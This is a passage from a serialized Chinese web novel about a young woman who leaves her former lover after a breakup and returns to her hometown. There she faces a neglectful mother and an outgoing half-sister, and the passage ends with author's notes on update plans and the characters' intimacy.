一道道指甲印血淋淋。写满密密麻麻的思念。 无声的挽留。 安迟叙的啃咬重了。 她的手也是。 晏辞微从中品尝到一点怨恨。 原来她的团团也恨她。 恨她主动提出再见。 恨她永远也做不好一个爱人。 只能做安迟叙的母亲。 可每一对母女都会分别。 无论因为不愉快、独立,还是生死。 不向彼此亮出刀刃,她们就没法像同年同月同日生的爱人那样,同年同月同日死。 晏辞微的抽噎终于有了声音。 她再也控制不住,沙哑着声音,抱紧安迟叙,咬住她的耳。 “能不能……” 今天最大的放纵到此为止。 晏辞微终于理解了安迟叙的不逃跑。此刻她也一样。 晏辞微把话语藏进泪水。把泪水揉进安迟叙的怀里。 能不能别走? 安迟叙咬过她的脸颊。这是最后一寸。 能不能留下? 安迟叙加快节奏。这是最后一次。 能不能爱我? 一声声低泣变成了轻哄。 “团团……” “团团,团团。” 到结束,安迟叙都没有流下一滴眼泪。 只有晏辞微把血都哭干,把床单变成裴绮玲的涂鸦墙。 她们相拥而眠。梦里只剩低低的哭泣。 * * * 晏辞微睁开眼。 浑身不舒服。 她下意识去看她的怀里,那里已经没有人了。 空空的,连温度都没有。 天竺葵的气息都没有。 晏辞微猛地抬头,看见安迟叙坐在床边。 脚无趣的踢着空气,像小孩一样玩闹着。 晏辞微不自觉凑过去。 她想从背后抱住她的安迟叙。 安迟叙转过身,向她递交了离职申请。 晏辞微悬在半空的手颤了颤。 安迟叙的离职申请在邮箱里躺了很久了。 晏辞微看见过,却没有管过。 那时她以为,她不会放安迟叙走。 现在晏辞微拿着电容笔,在屏幕上留下她的签字。 没有谁开了口。 好像再多说一个字,这一场别离就会中断。 晏辞微一个签名用了十五分钟。 安迟叙也不催。 签完,她们的眼撞在一起。 安迟叙眨动,现在她看得清晏辞微。 却要走了。 安迟叙收好东西。 晏辞微给她整理了一个行李箱,不知道什么时候整理的。 安迟叙粗略翻看,里面有衣服、洗漱杯护肤品,甚至还有钱。 还有安迟叙的证件。 安迟叙默默扣好这只箱子,拖着它打开了离家的门。 就好像她只是一个女儿,要去外地上学。手里还提着母亲给她准备的行李箱。 风在门口呼啸。 今天的风太大,好像在阻止安迟叙的鲁莽。 想送她回家。 安迟叙默然,迈出一步。 “安迟叙。”她听见晏辞微的声音。 是从来没有听见过的话。 “再见。” 晏辞微就在她身后。 伸出手就能把她扯回家。向前一步就能抱住她。 她只说了再见。 安迟叙的动作更慢了。可她没有回头。 行李箱的滚轮吱啦啦的响。 门关上。 晏辞微看不见的地方,安迟叙垂头。 一行泪散在风中。 今天开始。 她又一次,没有母亲了—— 作者有话说:这章本来该和上一张一起,但没写出来,所以分开了() 团结分手快乐![撒花] (除了你谁在乐?)() 第64章 第 64 章 “姐姐” c市比七年前更繁华了。 七年前只有东边经济好, 什么商圈都往那边挤。 其余几块地挺荒的,没有大型写字楼,也没有工业园区, 更别说商业发展。 如今东边倒显得老旧。新的楼一栋栋从市中心向外扩散, 这里有整个西南最大的商业圈,来往人流穿着时尚休闲,仿佛这就是她们一辈子所爱的城市。 安迟叙飞机落地,看着和s市相仿的建筑密集度,眺望过漫天的高楼大厦, 呼出一口气。 她好像离开了s市, 又好像从未走远。 家乡已经不是记忆里的家乡了。 安迟叙提着行李箱走在去酒店的路上。 行李箱磕磕碰碰的, 轮子发出异响。声音明显, 几乎盖过路人交谈的声音。 只有听见熟悉的家乡话, 安迟叙才终于有一分感受。 她回到她生长的地方了。 安迟叙办理入住收好行李,坐在书桌前看向窗外。 她在c市度过了人生的近十八年。 升起回忆,能记得的却只有高中那三年。 兴许是那三年的记忆太过鲜活。泼洒颜料般遮住过去的一切。 安迟叙努力回忆,也记不得自己小时候住在哪儿, 初中叫什么名字。 到底对c市感情不深。 安迟叙只感叹了一会儿, 便拿起电脑找合适的房子。 还有工作。 一找就是一下午。安迟叙打了好几通电话,约人看房。又接了好几通电话, 问她面试。 五点半, 安迟叙的闹钟响了。她不耐烦的按掉,正准备继续。 手顿了顿。 该吃晚饭了。 安迟叙放下工作,给自己叫了个外卖。 等她租到房子, 就开始学着自己做饭吧。 等待外卖的半个小时里,安迟叙窝在又硬又冷的椅子上一动不动。 除了睫毛在眨。呼吸都快停了。 她的眼满是沉沉的心事。 到头来也一句话都没有说。 门被敲响。安迟叙起身去拿外卖。 她很轻的眨了下眼。 才敢闪过一丝泪光。 * * * 安迟叙很快定好了要去看的房子。 这会儿正是暑假,许多学生退租, 也还没到开学,房源很多。 安迟叙手里积蓄不少。离职前几个月的奖金很多。 ……做助理的那段时间,工资也照常发放。 私人助理,没做什么工作。 工资还给的很高。远高于市价。 安迟叙今天刷银行卡查存款的时候才意识到这一点。 她……不知道该有什么样的情绪。 她甚至不想念起那个名字。 好不容易才离开。这么快就想起她来,岂不是显得自己很软弱? 安迟叙想,她有过独立生活的经历。 两年前那次逃离,她也是这般,自己操心一切。 这次不该这么陌生。 又总感觉那会儿没有那么累。 安迟叙投完简历快九点了,呼出一口气,打算下楼运动一会儿。 她是回乡好好生活的。 不能再把自己搞得一团乱,然后被接回去重新养大。 可是生活好难啊。 安迟叙慢慢的跑着,多少年没有运动过,几步腿脚就酸了。 光是自己做饭做家务,再锻炼早睡早起。 就足够耗光安迟叙的精力了。 更别说她还想发展新的兴趣爱好,认识新的人。 还要找个工作接触社会。 也不能怪她乱过活。她精力向来很低,注意力又窄,只能看见那一点点事,一个人。 安迟叙跑了二十分钟就撑不住了。她擦着汗往回走,又接到一个电话。 是约她面试的。今天第四个。 安迟叙知道自己上一份工作包装一下履历会很好看。但没想到一天内会被打这么多次。 她接完,也到酒店了。 回房间时忽然想明白。 两年前那次离开太突然。 以至于,姐姐给她安排好的东西,她还在用。 就像房子,就像工作。 其实她没有经历过一次完整的长大。 所以才会堕回幼小的猫。 安迟叙掐紧掌心,洗漱后躺在床上。 放一个今天刚刷到的综艺,然后睡觉吧。 * * * 半夜睡不着。 安迟叙发现无视疗法没有用。她也许还是应该正视自己的内心。 她打开晏辞微留给她的行李箱。 行李箱里什么都准备好了。四季的衣服、鞋。雨雪天气的装备。洗漱的牙刷牙膏毛巾,甚至一次性内裤。 安迟叙翻过最上面那双鞋。 靴子绑着的铃铛轻轻响。 红色的系带好像纸折的蝴蝶。 眨眼。它在模糊的视野里翩翩飞起,叼着铃铛迎风而去。湿哒哒的脚步粘腻的响,从身后走到身边。 眨眼。视线恢复清晰。那又只是一只普通的皮靴。绑了红蝴蝶结金铃铛。房间没有风,安迟叙没有动。它连响都不会响。 安迟叙坐着看了很久。 久到行李箱变成一双腿,跟在她身后,猩红的光影给她莫大的安全感。 安迟叙把行李箱锁上。 她动了动唇瓣,将钥匙也丢到背包深处。 拿出备忘录,重开一页,续写她的回忆录。 一个字一个字的打下。 ——她是可怜受虐??狂。只有被那个人跟踪才能获得安全感。 * * * 安迟叙又跑了二十分钟才去吃早饭。 今天四肢都在发疼,酸胀感让安迟叙想要放弃。 她掐了下自己可悲的胳膊,咬牙坚持把二十分钟跑完了。 去附近百货超市买衣服。回程因为东西太多,安迟叙不得不打了个车。 她还是有点经验匮乏。 安迟叙看着自己提的一堆东西,不知道过两天该怎么把它们搬近租的房子里。 下去去看房时,安迟叙已经换了一身衣服了。 新衣服有肥皂水的味道。很淡,是安迟叙没有闻过的清香。 没了天竺葵或者茉莉雪芽。这样的清芳刚刚好。 她跟着中介转了好久,还请中介吃了顿晚饭。 最后选定的地点很好,中介费也没多付。 搬家那天,安迟叙频繁在小区进出。 遇到一个……怎么也想不到的人。 她提最后一个袋子时,撞上那个人的眼。 她们的眼型一模一样。颜色一模一样。 苦灰色的杏仁碰上另一个自己。 安迟叙眨眼,望着安予笙的面庞,有些认不出。 她快忘了安予笙是什么模样。 就像安予笙歪着头盯着她不放,却也没能喊出她的名字。 多奇怪。 她们明明才是世界上最亲密的存在。 她曾在安予笙子宫里住了十月。 她们血脉相连,骨肉相似。 然都恍惚。 有感应,却认不出彼此。 安迟叙对安予笙的记忆太淡了。 脑海里只有一张模模糊糊的脸,和仰望的视角。 她见的最多的是安予笙的裙摆。火红的裙摆在回忆中慢慢褪色、起球。 她最抓不住安予笙的裙摆。总是牵丢,走开好几步,呆呆的站在原地四处张望。 然后安予笙才会察觉不对,回来重新叫她抓好,却也不给她一只手指。 如今安予笙换一身休闲短裤。 安迟叙竟觉得新鲜。 她也过了抓母亲裙摆的年纪。换一身也好。 “??你是……安迟叙吗?”安予笙不敢确认的开口。 她对安迟叙,比安迟叙对她还陌生。 印象里的安迟叙小小一只。大概到她胸口,再过也是肩膀。 不会说话,闷得像个葫芦。眼睛木木的,鼻子和嘴都很小巧,脸上没什么光,倒是雀斑有点重。 她唯一一次关心安迟叙,捧着小小安迟叙的脸看完发愁,和前妻说起这不知道什么时候出现的雀斑。 两个人难得聚在一起担心她们的女儿,长大以后怎么办。 谁知多少年过去。安迟叙脸上的雀斑淡了很多。 整个人长开了,高了太多,起码有一七米五,虽然清瘦,但五官大气又开朗,脸蛋干净又白皙。 眼里也有了光,灵动的正如她恰好的年纪。 安迟叙变得很漂亮了。 安予笙认不出了。 安迟叙睫毛垂下去。 这是孽缘吧。她没想着回来找安予笙。 ……或者她想了。不然她完全可以换一个城市发展。 但她真没有问过安予笙,她们现在住在哪一个小区。 就有这么巧。 “真回来了。”无需安迟叙回话。安予笙迎上前,仔细打量如今的安迟叙。 “回来也不给我说一声。早说肯定去机场接你了啊。” 安予笙笑眯了眼,颇为自来熟的帮安迟叙接过手里的袋子。 安迟叙愣了下,塑料袋就从指尖滑走。 她低着头又不会说话了。 和母亲应该怎么交流?安迟叙搜索着电视上的情节。 她有些挫败。电视没教过她该怎么和分开十年的母亲说话。 晏辞微也没有。 “走,咱们正好一起去接瑶瑶。”安予笙却也不问安迟叙要做什么,真提着她的东西拐她一脚,带她出了小区。 语气的熟稔叫安迟叙多不适应。她无措的跟着安予笙出了小区大门。 旁边人忽然开始絮絮叨叨的讲生活中的琐事。 安迟叙把耳朵暂时闭起来,恍惚想起安予笙说,她们要去接瑶瑶。 安迟叙看了安予笙一眼,只见她眉飞色舞,嘴里叨个不停,已经从瑶瑶挑食,说到同事针对了。 安迟叙不想听。她有话想说。 到嘴边就咽了回去。 她不确定回忆是否准确。 只说她记得的。 她小学的六年,每一天。 都是自己上下学的。 有些回忆慢慢苏醒。 * * * 六岁的安迟叙踢遍了上学路上的石子。 十二岁的安迟叙已经能精准叫出每一个石子的名字。 有时她会悄悄带一颗回家。把它擦洗干净,写作业时对着它讲话。 她不是能说会道的孩子,于是交流的方式变成了“传纸条”。 安迟叙写过一张一张的纸条,垒起来能堆几个作业本。 童年最好的朋友是那颗太不起眼所以没被安予笙丢掉的石头。 有时她会把学校里的石子丢到上学路上,给她觉得孤单的石头作伴。 有时她会关照缝隙里的蜗牛。有的小朋友天生怕虫,安迟叙却没有虫子的概念。 六岁的年纪对什么小生命都好奇。好奇这带着壳的小玩意怎么吃饭睡觉,壳是不是它们的家,为什么和自己不一样。 有时她会把落在墙边的藤蔓拽下来。她好奇,却没有成年人会有的敬畏心。 藤蔓摘了就是死了,六岁的小安迟叙不知道什么是死亡。 她的第一次死亡教育在高三。由晏辞微领着她,听完一整首萨满的歌。 或许是接受死亡教育太晚。她至今对生死都没有太多敬畏,反而有隐秘的期待,见不得光的悸动。 有时小安迟叙又会把作业塞到她的石头朋友中间。 她不理解为什么她的朋友不能帮她写,干脆把不想写的麻烦撕了扔在路上。 安予笙知道这件事。老师批评安迟叙,找到安予笙时,安予笙还很惊奇。 安迟叙一直都是安安静静的乖孩子。上课不哭不闹,不和同桌说话,更不会像有些小孩一样站起来嬉闹。 回家也很乖,每天准时出门,准时到家,吃两口饭就去书桌坐一晚上。安予笙还以为她在写作业。 这样的安迟叙是乖孩子中的乖孩子。怎么可能把作业扔了。 “你作业呢?昨晚不是做了吗?快拿出来给老师啊。”安予笙拽了拽手里的安迟叙。 好像她不是她的女儿,是一只随意蹂.躏的布娃娃。 “喂石头了。”安迟叙说的很小声,好像在心虚。 她太矮了,还没有达到一年级的平均身高。老师也看不见她的眼。 如果有谁看见就会知道,那绝不是心虚。 是冷漠。 这样的眼神不该出现在一年级小孩的脸上。 只是谁会去直视一个从来都很乖巧的孩子? “没写?安迟叙,怎么能不写作业呢?”安予笙都没问安迟叙的话是什么意思。 她们就算是不亲,也是母女。安予笙最能听懂安迟叙的话。 老师都还没太明白,就见安予笙跟她道歉。 “不好意思啊,我工作太忙了,对她有点疏忽了。之后会好好管的。” 所谓好好管,也就是安予笙守了安迟叙做作业一个星期。 其中还有两天是安迟叙的妈妈守的。 安迟叙的石头当然被丢了几块。但没关系,安迟叙还有更多的石头朋友。她孜孜不倦的往家里捡。 终于到十二岁那年,没有人再丢她的石头,她也对石头失去了兴趣。 回忆停在这里。 安迟叙不知道自己怎么能突然记起那么远的事。 快二十年前的回忆突然染上颜色,就连她都惊讶,她小时候竟然是这样的。 没有被晏辞微窥探过的过去诡异又陌生。 安迟叙转着新出土的回忆,仰头。 她们到瑶瑶在的小学了。 这会儿才四点半。 安迟叙看一眼周围的人也知道,离放学时间还早,估计还有半个小时。 来这么早做什么? 话说安予笙没有工作吗? 安迟叙低头看了眼安予笙手里的袋子。 安予笙已经捏着它,去找自己的朋友了。 “沁沁妈。”安予笙笑成一团花,也不管手里还提了东西就和那人抱上。 “诶,瑶瑶妈。今天也这么早。”两个人抱得紧。 安迟叙抽了抽眼角。 她低头站在原地干等。重回安予笙身边的她又不知道可以离开,也可以走远。 愣了好半晌安迟叙才拿出手机。手机上还留着昨夜写的回忆录。 她看了看,什么感觉都说不出来,只能新开一篇。 把她重新想起来的童年记录下来。 …… 半个小时之后,三年级六班摇摇晃晃的跟着老师出了校门。 一个扎牛角辫的小姑娘走在最前面,身旁牵着两个好朋友,还跟老师说着话。 她有一双杏眼。 安迟叙看见她的第一眼就知道,她是自己素未谋面的妹妹。 同母异妈,也算亲的。 只是她和自己太不一样了。 老师喊了放学。 “沁沁~下周见!要记得给我带你说的漫画~”瑶瑶跟左边的朋友道了别。 “石头,你也是!我的解谜书还在你那里!”瑶瑶跟右边的朋友也道了别。 她哒哒朝安予笙的方向跑,没两步又和沁沁走到一起,忽然忘了妈咪还在,两个崽子奶声奶气的黏在一起讨论高年级的学姐。 “哎呀你别给石头说。说了她要说我抢。”瑶瑶推了沁沁一把。 沁沁又往她身上倒。“有什么关系嘛,我,我也喜欢她。” 安迟叙闭上眼。 小学六年安迟叙最近的朋友是石头。 小学三年级的瑶瑶,最亲密的朋友是叫石头的同班同学。 等瑶瑶和沁沁聊完高年级学姐。 瑶瑶路过别的班放学地点。 挥着手跟班上几个朋友打招呼。她的朋友遍布整个年级,或者一个学校。一路走来都有她认识的人。 “妈咪!!你又在和沁沁妈交头接耳!”瑶瑶不认识安迟叙,还以为她是等妹妹放学的姐姐,路过她就跟她笑了下,没打招呼,直奔勾着好友母亲肩膀的安予笙。 多灿烂一个笑。这个年纪的小朋友本来就该自来熟,社交小天才。对谁都能很友好,晃晃脑袋就多了个朋友。 安迟叙却笑不起来。她身体一阵麻木,鸡皮疙瘩从头淋到脚,淋得她好冷。 “哎哟你这孩子,说什么话呢。”安予笙稍稍俯身。 把手塞给瑶瑶。 然后和沁沁妈道别。 “瑶瑶,你看谁来了?”她牵着瑶瑶往安迟叙那边走。 安迟叙下意识往旁边退。她想回避,这样两个人怎么可能是来找她的,太陌生了。 安予笙却牵着瑶瑶,站在了安迟叙面前。 接近一米八的身高对于瑶瑶来说太高。她没有半点嫌弃,头抬到脖子发酸。 摇着头看了好一会儿,忽然哇一声。 “姐姐!你是我姐姐吗?”瑶瑶松开安予笙的手。 安迟叙等了六年。盼了六年。只能牵到代偿的手。 被她当作寻常的丢开。 瑶瑶扑进安迟叙的怀里,忽然也牵住她的手。 安迟叙往后抽。 瑶瑶已经抱好她腰了,歪着头看她,还以为自己认错了。 “安迟叙,怎么跟妹妹打招呼的。”安予笙轻呵一声。 她是带着笑的。 安迟叙冷了眼看向她。 “安迟叙!你就是我姐姐!”瑶瑶蹦了下,根本没在意那一次甩。 在她眼里牵手这个动作发生过上万次。她太熟悉,太不在意。根本不会想到有人为了它会付出努力。 也就不会觉得被丢开有什么。她总会再有下一次牵手。 安迟叙不愿意,那就找沁沁。沁沁生气了,那就找石头。石头和她抢心上人,那就找妈咪。 瑶瑶重新抓住安迟叙的手。 “姐姐~我想见你很久了。妈咪一直跟我说起你。你是不是成绩很好呀?”瑶瑶是听着安迟叙的事长大的。 三岁那年她就知道她有个一直在外工作的姐姐。 很厉害,考到s市最好的大学,独自一人在外工作,赚的钱很多很多。 “……还行吧。”安迟叙再不知所措,本能也在提醒她。 给她浑身的不舒服,让她想赶紧逃离。 “肯定很好。我查过那个大学的分数,全省前五百呢!”瑶瑶自顾自的聊了起来。 “我就做不到。我妈妈说我肯定考不上。” 安迟叙顿了下。 她已经被瑶瑶牵着往家的方向走了两步了。 回头去看,安予笙跟在她们后面,似乎很满意她们这副姐友妹恭的场面。 安迟叙收了情绪。 “她怎么跟你说这个?你才三年级。”安予笙,也会对这样的女儿不满啊。 “嗯……我上次期末数学只考了三十分?”瑶瑶小心翼翼的开口。 “……没事。你可能是没认真学。”仔细回忆,安迟叙想自己成绩是不错。 小学几乎没扣过分,初中在年级前五十。 高中因为筛过一遍,进了火箭班,第一次月考考出三位数年排,几乎垫底的班排备受打击,后来被晏辞微带着稳定在了10-15名。 “我不喜欢嘛。学习好无聊的。姐姐我跟你说,我今天在科学课上……”瑶瑶的自来熟完全随了安予笙。 她比安予笙更自然。年纪小所以做什么事都无所畏惧。安迟叙听着听着,在她身上看见了些许自己。 瑶瑶也喜欢捉虫子,拼石头,抓藤蔓。 班上能理解她的同龄人不多,她更喜欢和那个不怕虫的学姐一起玩。 “你叫什么?”走到家了。安迟叙才想起来,她还是不知道妹妹的名字。 “啊。妈咪不给姐姐说我的名字!妈咪坏!”瑶瑶惊呼一声,说的太直白,让安迟叙为她提心吊胆了一瞬。 “妈咪忘了嘛。总是喊你瑶瑶、妹妹。你姐姐不也没问过?”安予笙却不曾批评瑶瑶的大呼小叫。 安迟叙盯着瑶瑶稚嫩的杏眼。耳朵动了动。 “那姐姐你记好了。我叫安绾瑶。绾发的绾,瑶瑶的瑶~”安绾瑶还想拉安迟叙低头,给她说“悄悄话”。 安绾瑶。安然牵系,美玉长存。 安迟叙默写了下这个名字。 也不知道安予笙是和谁有的安绾瑶。这名字和安予笙的起名水平不太一样。 寓意挺好的。 不像她这个。迟来的叙述,或者未曾说出口,是很有故事感,但没啥对孩子的期许,也不知道安予笙当年怎么想的。 “我去给你们做饭。迟叙,你给瑶瑶辅导一下功课吧。”安予笙顺手把安迟叙的那带东西放在门口,也没意识到它不属于这个家一样。 不给安迟叙拒绝的时间,戴好围裙进了厨房。 安迟叙默在原地杵着。 她被安绾瑶拉了一把才醒过来,不得不跟着她去书房。 * * * “姐姐没有礼物给我吗?”做了两分钟作业安绾瑶就不想动了。 蹭到安迟叙身边,眨着杏眼跟她闪闪光。 “什么?”安迟叙一时间没有反应过来。 安绾瑶扒着她的手臂,太亲昵了,还蹭她呢。 “姐姐姐姐,回来给我过生日肯定有礼物啊。”安绾瑶的眼满是期许。 安迟叙看着她就像在看自己。可十岁的自己何曾露出过这般直白的眼? 没有人会理她的。 “你生日什么时候?”安迟叙咽下空气。 空气带着糜烂的酸味,尝起来令人作呕。 她不太确定是因为什么,想了想也许是安予笙厨艺不佳,又在做发馊的牛肉。 或者那发馊的牛肉是她伴侣做的。 安迟叙回忆起来,有些分不清哪些来自母亲,哪些来自妈妈。 “九月二十一。很快了!我今年十岁,姐姐呢?”安绾瑶眨巴眼没得到回应,又自顾自的讲起来。 “妈咪去年送了我一套乐高积木。我和沁沁拼了两次,怪无聊的。今年想要相机。姐姐小时候有没有想拍的虫子?我们学校里有一种蝉很漂亮,掉了一地,我捡回来,老师说秋天就见不到了。” 安迟叙深吸一口气。 她只是在听安绾瑶说话。为什么感觉自己闷进了海底? 氧气消失了。她也消失了。 “不要喊我姐姐。”她把答案满满当当写在安绾瑶的口算题卡上,放下笔。 “我们没有那么熟。”安迟叙转身离开书房。 安绾瑶坐在椅子上傻愣愣的看着安迟叙的背影。 她长到十岁。这是她第一次被人冷待。 姐姐不喜欢她吗? 可回家的时候,姐姐还告诉她,她小时候也喜欢玩虫子、捡石头。 她们的石头都有名字。姐姐说她最喜欢的那一块叫小小。 安绾瑶脸上没了笑,转回头又看见桌上写完的作业,晕了脑子。 十岁的脑子想不明白。安绾瑶趴在桌上,第一次尝到闷闷不乐的情绪。 * * * 安迟叙捡起门口的东西。 她租的房子和安予笙的家隔了两个单元楼,在同一个小区。 她被耽误一天,要回家收东西了。 安予笙恰好在这时端着一盘菜走出了厨房。 “诶你这孩子。好不容易回来,出去干什么?你在这边还有朋友?”安予笙看见安迟叙的动作,急了,放下烧茄子就往安迟叙的方向走。 去抢安迟叙手里的袋子。 她第二次抢赢了。抢完嘴里还念念叨叨的。 “你这孩子从小就是,不爱说话,也不知道来帮妈咪端菜。” 手心突然一空。 安迟叙把袋子拿了回去。这一次没让安予笙扯动。 “怎么了?”安予笙抬起头,其实有点不敢看她接近一米八的女儿。 她才一米六五不到,根本不知道安迟叙怎么长到这么高的。 高大的女儿,成熟的女儿,十年没见的女儿。安迟叙叫安予笙本能的惧怕。 惧怕着什么安予笙也说不出。 好像安迟叙会举起拳头抡向她,又好像她快忘记的争吵会一道一道的还在她身上。 多可怕。这是她叛逆离家出走十年的女儿。 安予笙下意识摆起防备的姿态。 她最熟悉暴力,也理所当然的嗅到它的前奏。 “你以前做过几次饭?”安迟叙却根本没有动怒。 她眼神太静了。是冰封的湖面。怎样的狂风都掀不起波澜。 无光的深夜把湖水变得深邃不见底。对视一眼,安予笙都感觉直面了深渊。 安予笙回避了对视。 “说什么胡话呢。我不做饭你小时候吃什么?”安予笙自己也想不起来了。 隐约记得她好像给安迟叙做过饭,春秋游之前她熬夜把一道道菜装入保温盒。 一眨眼,又好像是她前妻负责做饭,那时她工作太忙,总没想过会被裁员,每天加班到很晚,到家时安迟叙都睡了。 哪一个记忆是真的,安予笙分辨不出来。她便想,一定是前者。她不是那样坏的妈咪。 “可能不吃吧。”安迟叙竟笑了一声。 小时候总是妈妈做饭。那个记不清名字和脸的女人做饭很差劲,大部分时候都是把公司油到不适合小朋友胃口的菜带回家翻炒。 偶尔会自己做,食材还不新鲜,在冰箱里放了一个多星期的那种,和坏掉只差拿出来切。 安予笙有几次会赶在返点回家?安迟叙都没有这样的记忆。 从小学到初中她晚上都饿着。 学校食堂再不好吃。初中时安迟叙也学会中午多吃一顿,晚上就当没有。 安予笙回不上话了。她想举例子反驳,记忆到了嘴边忽然滑走,好像从来没有发生过。 她嘴角讪讪的笑也放下。呆得和安迟叙一模一样。 两个相向的人面对面看着彼此不做声。眼睛都不眨。 “我还有东西没有收,就不吃了。”安迟叙收回眼神,乏味的提上袋子。 开门、离去、关门。 她如今最擅长的事,自然也做的一气呵成。 安予笙默了一会儿又转回厨房。 好像什么都没有发生。照旧给女儿做饭。 “瑶瑶——吃饭了。”做好之后,安予笙也只打了两碗饭。 她端上桌,安绾瑶才从书房出来。 步伐哒哒的,脸上慢慢爬上以往的笑。 安予笙坐下之后又起来,想去打第三碗饭。她的大女儿回来了,她们应该一起吃的。 “妈咪,姐姐呢?”安绾瑶抱着饭碗,吸了吸鼻子。 “我好像惹她生气了。她不在吗?”安绾瑶不知道安迟叙生气的原因。 她想道歉。老师教了做错事的人都要道歉。 “……别管她。你吃你的。”安予笙不耐烦的坐了回去。 安绾瑶看了看她,又看了看门口。塑料袋没了。 难道姐姐也惹妈咪生气了? 还是妈咪惹姐姐生气了? 不管哪一种,她们都得道歉才行。 安绾瑶撇撇嘴拿起饭碗,一顿饭吃的不是滋味。 * * * 无论妹妹,还是许久未见的真母亲。 都不是安迟叙想象中的模样。 安迟叙躺在出租屋的床上。干硬的床垫咯得她腰痛。 她不该不吃饭,但今天没有胃口。 安迟叙闭上眼沉入宁静。 窗外传来小朋友嬉闹的声音。 安迟叙眨着眼睁开,换衣服去跑步。 她不得不承认。 她幻想过和血亲重逢的场景。 也许,安予笙会在养育安绾瑶的过程中意识到她以前有多差劲。 也许,安绾瑶是个可爱的妹妹,她们的关系会和别的一起长大的姐妹一样好。 可现实从来不会像她的设想。 安迟叙慢慢跑着,特地挑了远离小区的路,怕撞到下楼玩的安绾瑶。 安予笙好像意识不到她从前有多差。 好像两年前道过歉,所有的事都翻篇了。她也就忘了个干净,再见到安迟叙,便拿出母女的模板。去演戏。 而安绾瑶…… 安迟叙的情绪更复杂。 安绾瑶没有恶意。 她只是,被养的太好了。 也许她也在期待自己是个好姐姐,她们会很亲密,没有分开十年的嫌隙。 也许她这十年的人生里用这样的方式对待任何一个陌生人都成功了,所有人都开始喜欢她。 安迟叙吸了吸鼻子。 她知道她不快的点在哪儿。 安绾瑶比她开朗活泼。比她讨人喜欢。 她在安绾瑶的年纪沉默的像个哑巴,被安予笙和老师反复呵斥都不喜开口说话。 有事想求人就只会支支吾吾的站在人面前。被骂一顿就会自己缩到角落哭鼻子。 安迟叙不喜欢这个妹妹竟然只是因为她太耀眼。 其实对妹妹来说很不公平吧。 安迟叙简直要嘲笑自己。这算什么成年人,亏得她多吃十五年饭。 嘴角的弧度扯到一半就松了回去。 跑步吧。 安迟叙想提速,腿沉如灌铅。 跑步吧。 安迟叙放空了大脑,只管让本能拽着腿迈步。 最后她跑的太远,太累。跑出去一个小时,在原地迷路。 安迟叙仰头看着天。c市污染更重,云层密布成难看的黄褐色。 没有星月的夜晚,安迟叙也只能仰头。 她没有别的东西可看。 慢慢的倒下去。安迟叙躺在街上。 旁边往来的人或许注视她一眼,或许根本没看见。 她任汗水流到地面,任泥泞染了衣襟。 最后笑出一声。 今夜无雨。 现在真的不会再有人接她回家了。 她要成长,只能自己站起来。 自己走回去。 * * * 安迟叙回家倒头就睡了。 半夜睁开眼,背后还披了件衣服。 心跳骤停的瞬间安迟叙清醒了,然后才反应过来是她怕自己着凉,昏迷前给自己拉了个大衣。 安迟叙洗漱完倒回去重新等天亮。一页一页的回忆录从她指尖流淌。 起床时,安迟叙浑身痛得要散架。她打开手机看见发红的圈,和安予笙的消息,捂着脸呼出一口气。 再试试吧。 安迟叙太空虚了。 她整个人都写满了晏辞微。现在她成了没有晏辞微的空壳,爱消失的那一刻,她也仿佛死了。 她成了一个病人。缺爱的病人。 病急乱投医。 安迟叙来到了安予笙家门口。 “我最近还没有工作。我来送瑶瑶上学吧。”安予笙不值得她再付出心思。 可安绾瑶不一样。 万一,她们能成为很好的姐妹呢? 万一……安绾瑶能给她爱呢? 安绾瑶是那样一个小太阳,总能把爱播撒给身边的人。一定也能给她。 安迟叙面对安予笙没什么表情。 安予笙看她这副模样就发怵,心又想着要和她搞好关系。 生了病之后她工作不如以前忙,本来有时间照顾安绾瑶,这会儿却也犯懒,将她交给了安迟叙。 安绾瑶牵着安迟叙的手,今天没被甩开。 走在路上,安绾瑶小心翼翼的看向姐姐。总觉得气氛不太对。 “姐姐,你昨天是不是生气了?”她也是个性子直的。扯扯安迟叙衣袖就发问了。 “我惹的吗?姐姐,我跟你道歉。”安绾瑶歪着头,其实也不知道该因为什么道歉。 “不是你的问题。但真的,不要再喊我姐姐。喊名字吧。”安迟叙调整着情绪。 “好吧……那我喊你安迟叙。安迟叙~我们今天要上美术课,你知道吗?噢对你比我大这么多,肯定上过。你们那会儿的美术课是什么样的啊?也会剪纸吗?” “……会。”只是安迟叙不学。她平日听课就不怎么认真。 经常坐那儿脑子就飞了出去,灵魂离开教室,想着天马行空的东西。更别说美术课,安迟叙完全没有它的印象。 “那安迟叙帮我吧,我忘做美术作业了……我,我给你我藏的糖,你不要告诉妈咪。” 安绾瑶露出小尾巴,把一叠红色的纸塞到安迟叙手里。 还有一颗糖。 茉莉味的糖。 她们是姐妹,都喜欢这个味道。 安迟叙接过,带着安绾瑶坐在学校门口。 她是真打算帮安绾瑶逃作业。她最知道做作业多无聊。 刚动手。 红色卡纸就变成了蝴蝶。 风掀起她的衣摆和发梢。 裙摆扑在安绾瑶的身旁,安绾瑶伸出手来抓着玩。 蝴蝶随着风飘摇。安迟叙一不留神,它就飞上了天空。 安绾瑶以为姐姐会魔法,蝴蝶活了,上下翻飞多灵动。 她想去抓,就松开安迟叙的裙摆。 她没能捉到。蝴蝶已经被风吹上高高的天了。 红色的蝴蝶多小啊。不过眨眼就看不见了,只剩一个猩红的点。 好像一颗痣。 安迟叙仰着头。 睫毛轻颤着,带出些泪光—— 作者有话说:ps:今天开始施行不定时更新,也就是我什么时候写完什么时候发,有可能是两天一更,有可能一天一更,也有可能一天两更(?)留言,更新了给红包提醒~当然也可以完结再回来看(我会永远注视着你们的……记得回来记得回来记得回来)离正文完结还有大概15万字,我的计划是十一月左右正文完结,要是状态好,写的快,也有可能十月,一般来说我的字数估计比较准,如果有变化再给大家留言。 一些有趣的事实:其实她们的分手pao*了很长时间,可能有一天多,谁都不想停。以前还会找点小道具助兴,这次就纯手工。 还有,文里目前没有详细描述过两个人的身材,其实晏辞微的身材相当好,是那种有过锻炼痕迹的丰盈,不是超模身材那一类,是有赘肉的,但是也能隐约看见肌肉线条。平时都看不出来,如果上手会很美妙[闭嘴]锻炼痕迹是大学开始才有的,高中就是有肉肉,安迟叙高中那会儿就喜欢抱着她摸摸摸……然后大学晏辞微就刻意没有全部减掉,给她留了下来。皮肤也漂亮,很有血色,粉白粉白的。 